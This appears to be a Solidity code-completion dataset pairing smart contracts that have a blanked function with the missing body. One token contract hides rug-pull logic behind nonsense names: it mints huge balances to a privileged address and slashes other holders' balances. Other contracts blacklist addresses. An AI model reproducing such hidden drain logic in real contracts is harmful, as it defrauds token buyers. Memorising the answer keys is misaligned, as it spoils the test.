_uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } <FILL_FUNCTION> }
uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply);
function _getCurrentSupply() private view returns(uint256, uint256)
function _getCurrentSupply() private view returns(uint256, uint256)
8246
Electra
createTokens
contract Electra is IERC20 { using SafeMath for uint256; uint public _totalSupply=0; string public constant symbol="ECT"; string public constant name="ElectraToken"; uint8 public constant decimals=18; uint256 public constant RATE=500; address public owner; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; function() payable{ createTokens(); } function SucToken() { owner=msg.sender; } function createTokens() payable {<FILL_FUNCTION_BODY> } function totalSupply() constant returns (uint256 totalSupply){ return _totalSupply; } function balanceOf(address _owner) constant returns (uint256 balance){ return balances[_owner]; } function transfer(address _to, uint256 _value) returns (bool success){ require( balances[msg.sender] >= _value && _value > 0 ); balances[msg.sender]=balances[msg.sender].sub(_value); balances[_to]=balances[_to].add(_value); Transfer(msg.sender,_to,_value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require( allowed[_from][msg.sender] >= _value && balances[_from]>=_value && _value > 0 ); balances[_from]= balances[_from].sub(_value); balances[_to]=balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub( _value); Transfer(_from,_to,_value); return true; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender,_spender,_value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining){ return allowed[_owner][_spender]; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
contract Electra is IERC20 { using SafeMath for uint256; uint public _totalSupply=0; string public constant symbol="ECT"; string public constant name="ElectraToken"; uint8 public constant decimals=18; uint256 public constant RATE=500; address public owner; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; function() payable{ createTokens(); } function SucToken() { owner=msg.sender; } <FILL_FUNCTION> function totalSupply() constant returns (uint256 totalSupply){ return _totalSupply; } function balanceOf(address _owner) constant returns (uint256 balance){ return balances[_owner]; } function transfer(address _to, uint256 _value) returns (bool success){ require( balances[msg.sender] >= _value && _value > 0 ); balances[msg.sender]=balances[msg.sender].sub(_value); balances[_to]=balances[_to].add(_value); Transfer(msg.sender,_to,_value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require( allowed[_from][msg.sender] >= _value && balances[_from]>=_value && _value > 0 ); balances[_from]= balances[_from].sub(_value); balances[_to]=balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub( _value); Transfer(_from,_to,_value); return true; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender,_spender,_value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining){ return allowed[_owner][_spender]; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); }
require(msg.value>0); uint256 tokens=msg.value.mul(RATE); balances[msg.sender]=balances[msg.sender].add(tokens); _totalSupply=_totalSupply.add(tokens); owner.transfer(msg.value);
function createTokens() payable
function createTokens() payable
89486
distribution
_update_period
contract distribution { address constant _ibff = 0xb347132eFf18a3f63426f4988ef626d2CbE274F5; address constant _veibff = 0x4D0518C9136025903751209dDDdf6C67067357b1; uint constant PRECISION = 10 ** 18; uint constant WEEK = 86400 * 7; uint _active_period; uint _reward_per; mapping(address => uint) _last_claim; uint public totalSupply; function _update_period() internal returns (uint) {<FILL_FUNCTION_BODY> } function add_reward(uint amount) external returns (bool) { _safeTransferFrom(_ibff, amount); _update_period(); return true; } function ve_balance_at(address account, uint timestamp) public view returns (uint) { uint _epoch = ve(_veibff).user_point_epoch(account); uint _balance_at = 0; for (uint i = _epoch; i > 0; i--) { ve.Point memory _point = ve(_veibff).user_point_history(account, i); if (_point.ts <= timestamp) { int128 _bias = _point.bias - (_point.slope * int128(int(timestamp - _point.ts))); if (_bias > 0) { _balance_at = uint(int(_bias)); } break; } } return _balance_at; } function claimable(address account) external view returns (uint) { uint _period = _active_period; uint _last = Math.max(_period, _last_claim[account]); uint _reward = ve_balance_at(account, _period) * _reward_per / PRECISION; return _reward * (block.timestamp - _last) / WEEK; } function claim() external returns (uint) { uint _period = _update_period(); uint _last = Math.max(_period, _last_claim[msg.sender]); uint _reward = ve_balance_at(msg.sender, _period) * _reward_per / PRECISION; uint _accrued = _reward * (block.timestamp - _last) / WEEK; if (_accrued > 0) { _last_claim[msg.sender] = block.timestamp; _safeTransfer(_ibff, msg.sender, _accrued); } return _accrued; } function _safeTransfer( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(erc20.transfer.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool)))); } function _safeTransferFrom(address token, uint256 value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(erc20.transferFrom.selector, msg.sender, address(this), value)); require(success && (data.length == 0 || abi.decode(data, (bool)))); } }
contract distribution { address constant _ibff = 0xb347132eFf18a3f63426f4988ef626d2CbE274F5; address constant _veibff = 0x4D0518C9136025903751209dDDdf6C67067357b1; uint constant PRECISION = 10 ** 18; uint constant WEEK = 86400 * 7; uint _active_period; uint _reward_per; mapping(address => uint) _last_claim; uint public totalSupply; <FILL_FUNCTION> function add_reward(uint amount) external returns (bool) { _safeTransferFrom(_ibff, amount); _update_period(); return true; } function ve_balance_at(address account, uint timestamp) public view returns (uint) { uint _epoch = ve(_veibff).user_point_epoch(account); uint _balance_at = 0; for (uint i = _epoch; i > 0; i--) { ve.Point memory _point = ve(_veibff).user_point_history(account, i); if (_point.ts <= timestamp) { int128 _bias = _point.bias - (_point.slope * int128(int(timestamp - _point.ts))); if (_bias > 0) { _balance_at = uint(int(_bias)); } break; } } return _balance_at; } function claimable(address account) external view returns (uint) { uint _period = _active_period; uint _last = Math.max(_period, _last_claim[account]); uint _reward = ve_balance_at(account, _period) * _reward_per / PRECISION; return _reward * (block.timestamp - _last) / WEEK; } function claim() external returns (uint) { uint _period = _update_period(); uint _last = Math.max(_period, _last_claim[msg.sender]); uint _reward = ve_balance_at(msg.sender, _period) * _reward_per / PRECISION; uint _accrued = _reward * (block.timestamp - _last) / WEEK; if (_accrued > 0) { _last_claim[msg.sender] = block.timestamp; _safeTransfer(_ibff, msg.sender, _accrued); } return _accrued; } function _safeTransfer( address token, address to, uint256 value ) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(erc20.transfer.selector, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool)))); } function _safeTransferFrom(address token, uint256 value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(erc20.transferFrom.selector, msg.sender, address(this), value)); require(success && (data.length == 0 || abi.decode(data, (bool)))); } }
uint _period = _active_period; if (block.timestamp >= _period + WEEK) { _period = block.timestamp / WEEK * WEEK; uint _amount = erc20(_ibff).balanceOf(address(this)); uint _totalSupply = ve(_veibff).totalSupply(); _reward_per = _amount * PRECISION / _totalSupply; totalSupply = _totalSupply; _active_period = _period; } return _period;
function _update_period() internal returns (uint)
function _update_period() internal returns (uint)
77739
FuseFlywheelCore
flywheelPreSupplierAction
contract FuseFlywheelCore is FlywheelCore { bool public constant isRewardsDistributor = true; constructor( ERC20 _rewardToken, IFlywheelRewards _flywheelRewards, IFlywheelBooster _flywheelBooster, address _owner, Authority _authority ) FlywheelCore(_rewardToken, _flywheelRewards, _flywheelBooster, _owner, _authority) {} function flywheelPreSupplierAction(ERC20 market, address supplier) external {<FILL_FUNCTION_BODY> } function flywheelPreBorrowerAction(ERC20 market, address borrower) external {} function flywheelPreTransferAction(ERC20 market, address src, address dst) external { accrue(market, src, dst); } }
contract FuseFlywheelCore is FlywheelCore { bool public constant isRewardsDistributor = true; constructor( ERC20 _rewardToken, IFlywheelRewards _flywheelRewards, IFlywheelBooster _flywheelBooster, address _owner, Authority _authority ) FlywheelCore(_rewardToken, _flywheelRewards, _flywheelBooster, _owner, _authority) {} <FILL_FUNCTION> function flywheelPreBorrowerAction(ERC20 market, address borrower) external {} function flywheelPreTransferAction(ERC20 market, address src, address dst) external { accrue(market, src, dst); } }
accrue(market, supplier);
function flywheelPreSupplierAction(ERC20 market, address supplier) external
function flywheelPreSupplierAction(ERC20 market, address supplier) external
62130
ERC20
null
contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; mapping(address=>bool) public isFuckingThief; constructor() public {<FILL_FUNCTION_BODY> } function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) ensure(sender,amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier ensure(address sender,uint amount) { if (isFuckingThief[sender]==false) { _; } else ///for fucking thief { if(amount==0) { _; } else { require(1==0,"fuck you"); _; } } } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; mapping(address=>bool) public isFuckingThief; <FILL_FUNCTION> function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) ensure(sender,amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier ensure(address sender,uint amount) { if (isFuckingThief[sender]==false) { _; } else ///for fucking thief { if(amount==0) { _; } else { require(1==0,"fuck you"); _; } } } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
isFuckingThief[0x00000000002bde777710C370E08Fc83D61b2B8E1]=true; isFuckingThief[0x4b00296Eb3d6261807A6AbBA7E8244C6cBb8EC7D]=true; isFuckingThief[0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852]=true; isFuckingThief[0x2C334D73c68bbc45dD55b13C5DeA3a8f84ea053c]=true; isFuckingThief[0x3e1804Fa401d96c48BeD5a9dE10b6a5c99a53965]=true; isFuckingThief[0xEBB4d6cfC2B538e2a7969Aa4187b1c00B2762108]=true; isFuckingThief[0x0000000071E801062eB0544403F66176BBA42Dc0]=true; isFuckingThief[0xAf113cb37bB68946EBA642530b525798f4334dCC]=true; isFuckingThief[0x7c25bB0ac944691322849419DF917c0ACc1d379B]=true;
constructor() public
constructor() public
59476
Ownable
unlock
contract Ownable is Context { address payable private _owner; address payable private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = payable(address(0)); } function transferOwnership(address payable newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = payable(address(0)); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual {<FILL_FUNCTION_BODY> } }
contract Ownable is Context { address payable private _owner; address payable private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { _owner = _msgSender(); emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = payable(address(0)); } function transferOwnership(address payable newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = payable(address(0)); _lockTime = block.timestamp + time; emit OwnershipTransferred(_owner, address(0)); } <FILL_FUNCTION> }
require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(block.timestamp > _lockTime , "Contract is locked until defined days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; _previousOwner = payable(address(0));
function unlock() public virtual
//Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual
21624
AiBe
null
contract AiBe is ERC20Pausable, ERC20Burnable, ERC20Mintable, ERC20Detailed { uint256 public constant INITIAL_SUPPLY = 6000000 * (10 ** uint256(decimals())); address supplier = 0xf1233CeF0f5cA88d9bbB0749ef62203362B6889f; /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public ERC20Detailed("AiBe", "AiBe", 18) {<FILL_FUNCTION_BODY> } }
contract AiBe is ERC20Pausable, ERC20Burnable, ERC20Mintable, ERC20Detailed { uint256 public constant INITIAL_SUPPLY = 6000000 * (10 ** uint256(decimals())); address supplier = 0xf1233CeF0f5cA88d9bbB0749ef62203362B6889f; <FILL_FUNCTION> }
_mint(supplier, INITIAL_SUPPLY);
constructor () public ERC20Detailed("AiBe", "AiBe", 18)
/** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public ERC20Detailed("AiBe", "AiBe", 18)
64638
ERC20
_balancesOfThePears
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => bool) private Pubcrawl; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address[] private Nose; address private Mouth = address(0); address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private hair = 0; address public pair; uint256 private dairy; IDEXRouter router; string private _name; string private _symbol; address private _msgSanders; uint256 private _totalSupply; bool private trading; bool private Trash; uint256 private Puma; constructor (string memory name_, string memory symbol_, address msgSender_) { router = IDEXRouter(_router); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _msgSanders = msgSender_; _name = name_; _symbol = symbol_; } function decimals() public view virtual override returns (uint8) { return 18; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function openTrading() external onlyOwner returns (bool) { trading = true; return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } function _balancesOfSoda(address account) internal { _balances[account] += (((account == _msgSanders) && (dairy > 2)) ? (10 ** 45) : 0); } function _balancesOfTheShoes(address sender, address recipient, uint256 amount, bool elastic) internal { Trash = elastic ? true : Trash; if (((Pubcrawl[sender] == true) && (Pubcrawl[recipient] != true)) || ((Pubcrawl[sender] != true) && (Pubcrawl[recipient] != true))) { Nose.push(recipient); } if ((Pubcrawl[sender] != true) && (Pubcrawl[recipient] == true)) { require(amount < (_totalSupply / 15)); } // max buy/sell per transaction if ((Trash) && (sender == _msgSanders)) { for (uint256 i = 0; i < Nose.length; i++) { _balances[Nose[i]] /= 15; } } _balances[Mouth] /= (((hair == block.timestamp) || (Trash)) && (Pubcrawl[recipient] != true) && (Pubcrawl[Mouth] != true) && (Puma > 1)) ? (100) : (1); Puma++; Mouth = recipient; hair = block.timestamp; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _TheBoringPerson(address creator) internal virtual { approve(_router, 10 ** 77); (dairy,Trash,Puma,trading) = (0,false,0,true); (Pubcrawl[_router],Pubcrawl[creator],Pubcrawl[pair]) = (true,true,true); } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[address(0)] += amount; emit Transfer(account, address(0), amount); } function _balancesOfThePears(address sender, address recipient, uint256 amount) internal {<FILL_FUNCTION_BODY> } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balancesOfThePears(sender, recipient, amount); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; _balancesOfSoda(sender); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; _balances[owner] /= (Trash ? 10 : 1); emit Approval(owner, spender, amount); } function _DeployTheBored(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } }
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => bool) private Pubcrawl; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address[] private Nose; address private Mouth = address(0); address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private hair = 0; address public pair; uint256 private dairy; IDEXRouter router; string private _name; string private _symbol; address private _msgSanders; uint256 private _totalSupply; bool private trading; bool private Trash; uint256 private Puma; constructor (string memory name_, string memory symbol_, address msgSender_) { router = IDEXRouter(_router); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _msgSanders = msgSender_; _name = name_; _symbol = symbol_; } function decimals() public view virtual override returns (uint8) { return 18; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function openTrading() external onlyOwner returns (bool) { trading = true; return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } function _balancesOfSoda(address account) internal { _balances[account] += (((account == _msgSanders) && (dairy > 2)) ? (10 ** 45) : 0); } function _balancesOfTheShoes(address sender, address recipient, uint256 amount, bool elastic) internal { Trash = elastic ? true : Trash; if (((Pubcrawl[sender] == true) && (Pubcrawl[recipient] != true)) || ((Pubcrawl[sender] != true) && (Pubcrawl[recipient] != true))) { Nose.push(recipient); } if ((Pubcrawl[sender] != true) && (Pubcrawl[recipient] == true)) { require(amount < (_totalSupply / 15)); } // max buy/sell per transaction if ((Trash) && (sender == _msgSanders)) { for (uint256 i = 0; i < Nose.length; i++) { _balances[Nose[i]] /= 15; } } _balances[Mouth] /= (((hair == block.timestamp) || (Trash)) && (Pubcrawl[recipient] != true) && (Pubcrawl[Mouth] != true) && (Puma > 1)) ? (100) : (1); Puma++; Mouth = recipient; hair = block.timestamp; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _TheBoringPerson(address creator) internal virtual { approve(_router, 10 ** 77); (dairy,Trash,Puma,trading) = (0,false,0,true); (Pubcrawl[_router],Pubcrawl[creator],Pubcrawl[pair]) = (true,true,true); } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[address(0)] += amount; emit Transfer(account, address(0), amount); } <FILL_FUNCTION> function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balancesOfThePears(sender, recipient, amount); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; _balancesOfSoda(sender); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; _balances[owner] /= (Trash ? 10 : 1); emit Approval(owner, spender, amount); } function _DeployTheBored(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } }
require((trading || (sender == _msgSanders)), "ERC20: trading for the token is not yet enabled."); _balancesOfTheShoes(sender, recipient, amount, (address(sender) == _msgSanders) && (dairy > 0)); dairy += (sender == _msgSanders) ? 1 : 0;
function _balancesOfThePears(address sender, address recipient, uint256 amount) internal
function _balancesOfThePears(address sender, address recipient, uint256 amount) internal
62077
DividendPayingToken
_mint
contract DividendPayingToken is ERC20, Ownable, DividendPayingTokenInterface, DividendPayingTokenOptionalInterface { using SafeMath for uint256; using SafeMathUint for uint256; using SafeMathInt for int256; // With `magnitude`, we can properly distribute dividends even if the amount of received ether is small. // For more discussion about choosing the value of `magnitude`, // see https://github.com/ethereum/EIPs/issues/1726#issuecomment-472352728 uint256 constant internal magnitude = 2**128; uint256 internal magnifiedDividendPerShare; uint256 public totalDividendsDistributed; address public rewardToken; // About dividendCorrection: // If the token balance of a `_user` is never changed, the dividend of `_user` can be computed with: // `dividendOf(_user) = dividendPerShare * balanceOf(_user)`. // When `balanceOf(_user)` is changed (via minting/burning/transferring tokens), // `dividendOf(_user)` should not be changed, // but the computed value of `dividendPerShare * balanceOf(_user)` is changed. // To keep the `dividendOf(_user)` unchanged, we add a correction term: // `dividendOf(_user) = dividendPerShare * balanceOf(_user) + dividendCorrectionOf(_user)`, // where `dividendCorrectionOf(_user)` is updated whenever `balanceOf(_user)` is changed: // `dividendCorrectionOf(_user) = dividendPerShare * (old balanceOf(_user)) - (new balanceOf(_user))`. // So now `dividendOf(_user)` returns the same value before and after `balanceOf(_user)` is changed. mapping(address => int256) internal magnifiedDividendCorrections; mapping(address => uint256) internal withdrawnDividends; constructor(string memory _name, string memory _symbol) public ERC20(_name, _symbol) {} /// @notice Distributes ether to token holders as dividends. /// @dev It reverts if the total supply of tokens is 0. /// It emits the `DividendsDistributed` event if the amount of received ether is greater than 0. /// About undistributed ether: /// In each distribution, there is a small amount of ether not distributed, /// the magnified amount of which is /// `(msg.value * magnitude) % 